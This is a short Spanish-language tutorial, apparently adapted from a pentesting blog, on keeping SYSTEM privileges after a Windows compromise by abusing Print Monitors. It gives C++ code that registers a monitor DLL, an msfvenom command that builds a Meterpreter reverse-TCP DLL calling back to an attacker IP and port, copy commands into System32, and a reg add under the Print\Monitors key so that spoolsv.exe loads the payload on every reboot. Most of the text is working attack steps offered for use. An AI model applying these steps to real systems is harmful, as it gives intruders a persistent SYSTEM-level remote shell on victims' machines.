
A old way to Persistence
Se utiliza para mantener privilegios en la fase de post-explotación.
Paso 1: Descargue el proyecto y compile Monitor.cpp con Visual Studio; también puede usar el ya compilado. El código de Monitor.cpp es el siguiente:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Paso 2: Genere el payload DLL con Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Paso 3: Copie shell.dll al directorio system32 del equipo de destino y luego renómbrelo a test.dll (es decir, el PDLLName de arriba; también puede cambiarlo al que prefiera, total, es opcional).
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Paso 4: Luego entre al directorio system32 y ejecute el siguiente comando (Monitors.exe es el archivo compilado anteriormente y también debe colocarse en el directorio system32):
Monitors.exe

Paso 5: A continuación, se recibe correctamente la sesión de Meterpreter.

Para lograr la persistencia, debemos establecer una clave en la ubicación de registro "Monitors":
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
A continuación, ejecute el siguiente comando en la línea de comandos para crear una entrada de registro. Dicha entrada contendrá el valor test.dll. Verifique en el editor que la clave se haya creado:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

En el próximo reinicio, el proceso spoolsv.exe cargará todos los archivos DLL de controladores que existen en la entrada de registro Monitors y que están almacenados en la carpeta System32 de Windows. La siguiente imagen demuestra que la sesión de Meterpreter ha establecido privilegios al mismo nivel que el servicio Print Spooler (SYSTEM) y que se ha ejecutado desde la carpeta System32.
